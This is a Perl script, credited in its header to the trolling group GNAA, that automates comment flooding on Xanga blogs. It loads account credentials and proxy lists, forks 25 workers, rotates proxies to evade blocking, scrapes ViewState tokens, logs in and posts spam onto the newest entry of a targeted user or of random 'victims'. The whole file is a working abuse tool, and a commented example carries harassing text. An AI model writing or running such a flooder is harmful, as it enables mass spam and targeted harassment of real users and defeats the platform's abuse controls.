#!/usr/bin/perl -w
# vim: cindent ai sw=4
# xanga crapflooder by GNAA
# thread code stolen from floodphpbb by popeye. lol
#
# usage:
# ./xanga.pl <accounts> <proxies> <comment> [<userid>]
# accounts is a file in the format of "username password"
# proxies is a file in the format of "proxy:port"
# comment is text file of the comment to post
# optional userid is to direct a flood to a specific userid

use strict;
use Socket;
use IO::Handle;
use HTTP::Request::Common;
use HTTP::Cookies;
use LWP::UserAgent;

my %accounts = ();
my %proxies  = ();
my $comm     = "";
my $uid;
my $MAXFORK = 25;
my $MAXFAIL = 100;

# usage
if ($#ARGV < 2)
{
    print STDERR "usage: $0 <accounts> <proxies> <comment> [<userid>]\n";
    exit 1;
}

# prepare for everything
if (my $fp = shift @ARGV)
{
    print STDERR "Loading accounts from $fp\n";
    open LOL, $fp or die "$!";
    my $i = 0;
    while (<LOL>)
    {
        $i++;
        chomp;
        /^(.+) (.+)$/;
        $accounts{$1} = $2;
    }
    close LOL;
    print STDERR "Got $i accounts\n";
}

if (my $fp = shift @ARGV)
{
    print STDERR "Loading proxies from $fp\n";
    open LOL, $fp or die "$!";
    my $i = 0;
    while (<LOL>)
    {
        $i++;
        chomp;
        $proxies{$_} = $MAXFAIL;
    }
    close LOL;
    print STDERR "Got $i proxies\n";
}

if (my $fp = shift @ARGV)
{
    open LOL, $fp or die "Cannot read comment file: $!";
    while (<LOL>)
    {
        $comm .= $_;
    }
    close LOL;
}

$uid = shift @ARGV;

socketpair(CHENEY, BUSH, AF_UNIX, SOCK_STREAM, PF_UNSPEC)
  or die "socketpair: $!";
CHENEY->autoflush(1);
BUSH->autoflush(1);

if (my $jpid = fork)
{
    close BUSH;
}
else
{
    die "$!" unless defined $jpid;
    close CHENEY;

    $SIG{INT} = \&exit_nicely;

    my $command;
    while (1)
    {
        chomp($command = <BUSH>);

        if ($command =~ /getproxy/)
        {
            if (keys %proxies > 0)
            {
                print BUSH (keys %proxies)[int rand keys %proxies] . "\n";
            }
            else
            {
                print BUSH 'none\n';
            }
        }
        elsif ($command =~ /fail (\S+)/) { }
        else
        {
            die "Bad command: $command\n";
        }
    }
}

for (my $i = 0 ; $i < $MAXFORK ; $i++)
{
  FORK:
    {
        if (my $pid = fork)
        {

            #
        }
        elsif (defined $pid)
        {
            while (1)
            {
                print CHENEY "getproxy\n";
                chomp(my $proxy = <CHENEY>);

                my $rv = 0;
                if (defined $uid)
                {
                    $rv = FloodXanga($proxy, $comm, $uid);
                }
                else
                {
                    $rv = FloodXanga($proxy, $comm);
                }

                if ($rv)
                {
                    print STDERR "child $i posted with success\n";
                }
                else
                {
                    print STDERR "child $i failed to post with $proxy\n";
                    print CHENEY "fail $proxy\n";

                }
            }
        }
        elsif ($! =~ /No more process/)
        {
            redo FORK;
        }
        else
        {
            print STDERR "hit process limit\n";
            goto ENDFORK;
        }
    }
}

while (1) { sleep 1; }

# FloodXanga("none", "GNAA says hi");
# FloodXanga("none", "Lol. Gary you are amazing", "Gary_Niger");

# no user-modifyable parts below

# FloodXanga($proxy, $comment, [uid])
sub FloodXanga
{
    my $proxy   = shift;
    my $comment = shift;
    my $uid     = shift;

    my $ua = InitHTTP($proxy);
    my ($username, $password) = GetAccount();

    if (!SignIntoXanga($ua, $username, $password))
    {
        return;
    }

    if (defined $uid && $uid ne "")
    {
        PostComment($ua, $uid, $comment);
    }
    else
    {
        GiveRandomEProp($ua, $comment);
    }
}

# InitHTTP([proxy])
sub InitHTTP
{
    my $proxy = shift;

    my $ua = LWP::UserAgent->new;
    $ua->timeout(5);
    $ua->cookie_jar(HTTP::Cookies->new);
    $ua->agent(
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"
        );

    if (!($proxy =~ /none/))
    {
        $ua->proxy('http', "http://$proxy");
    }
    push @{$ua->requests_redirectable}, 'POST';

    return $ua;
}

# GetAccount()
sub GetAccount
{
    if (keys %accounts > 0)
    {
        my $nick = (keys %accounts)[int rand keys %accounts];
        return ($nick, $accounts{$nick});
    }
    else
    {
        die "No accounts, wtf\n";
    }
}

# GetViewState(useragent, url)
sub GetViewState
{
    my $ua  = shift;
    my $url = shift;

    my $response = $ua->request(GET $url);
    my $vs       = "";

    foreach my $l (split /\n/, $response->content)
    {
        if ($l =~ /name=\"__VIEWSTATE\" value=\"([^\"]+)\"/i)
        {
            $vs = $1;
        }
    }
    return $vs;
}

# SignIntoXanga(useragent, username, password)
sub SignIntoXanga
{
    my $ua       = shift;
    my $username = shift;
    my $password = shift;
    my $url      = 'http://www.xanga.com/signin.aspx';

    my $vs = GetViewState($ua, $url);
    if ($vs eq "")
    {
        print STDERR "SignIntoXanga: Unable to get ViewState\n";
        return 0;
    }

    my $req = POST $url,
      [
        txtSigninUsername => $username,
        txtSigninPassword => $password,
        btnSignin         => 'Sign In',
        __VIEWSTATE       => $vs
        ];

    $req->referer($url);
    my $response = $ua->request($req);

    foreach my $l (split /\n/, $response->content)
    {
        if ($l =~ /Incorrect login/i)
        {
            return 0;
        }
    }

    print STDERR "$username logged in\n";
    return 1;
}

# GetFirstCommentLink(content)
sub GetFirstCommentLink
{
    my $content = shift;

    # http://www.xanga.com/item.aspx?user=karesty_malangen&tab=weblogs&uid=128020837
    foreach my $l (split /\n/, $content)
    {
        if ($l =~
            /\/item\.aspx\?user=([\w]+)&tab=weblogs&uid=([\d]+)/i
          )
        {
            my $rv =
              "http://www.xanga.com/item.aspx?user=$1&tab=weblogs&uid=$2";
            print STDERR "First comment: $rv\n";
            return $rv;
        }
    }

    return "";
}

# PostComment(useragent, uid, comment)
sub PostComment
{
    my $ua      = shift;
    my $uid     = shift;
    my $comment = shift;

    my $url = 'http://www.xanga.com/home.aspx?user=' . $uid;

    my $response = $ua->request(GET $url);

    # get url to top comment
    $url = GetFirstCommentLink($response->content);
    if ($url eq "")
    {
        return 0;
    }

    # post some crap on it
    my $vs = GetViewState($ua, $url);
    if ($vs eq "")
    {
        print STDERR "PostComment: Unable to get ViewState\n";
        return 0;
    }

    my $req = POST $url,
      [
        rblEprops   => '2',
        formtype    => 'submithtmldescr',
        bdescr      => $comment,
        __VIEWSTATE => $vs
        ];

    $req->referer($url);
    $response = $ua->request($req);

    print STDERR "Comment posted to $uid\'s page\n";

    return 1;
}

# GiveRandomEProp(useragent, comment)
sub GiveRandomEProp
{
    my $ua      = shift;
    my $comment = shift;
    my $url     = 'http://main.xanga.com/Random.aspx';

    my $response = $ua->request(GET $url);
    my $random   = "";
    if ($response->base =~ /user=([\w]+)/i)
    {
        $random = $1;
        print STDERR "Picked random victim: $random\n";
    }

    if ($random eq "")
    {
        return 0;
    }

    # get url to top comment
    $url = GetFirstCommentLink($response->content);
    if ($url eq "")
    {
        return 0;
    }

    # post some crap on it
    my $vs = GetViewState($ua, $url);
    if ($vs eq "")
    {
        print STDERR "GiveRandomEProp: Unable to get ViewState\n";
        return 0;
    }

    my $req = POST $url,
      [
        rblEprops   => '2',
        formtype    => 'submithtmldescr',
        bdescr      => $comment,
        __VIEWSTATE => $vs
        ];

    $req->referer($url);
    $response = $ua->request($req);

    print STDERR "Comment posted to $random\'s page\n";

    return 1;
}

sub exit_nicely
{
    die "Exiting xanga\n";
}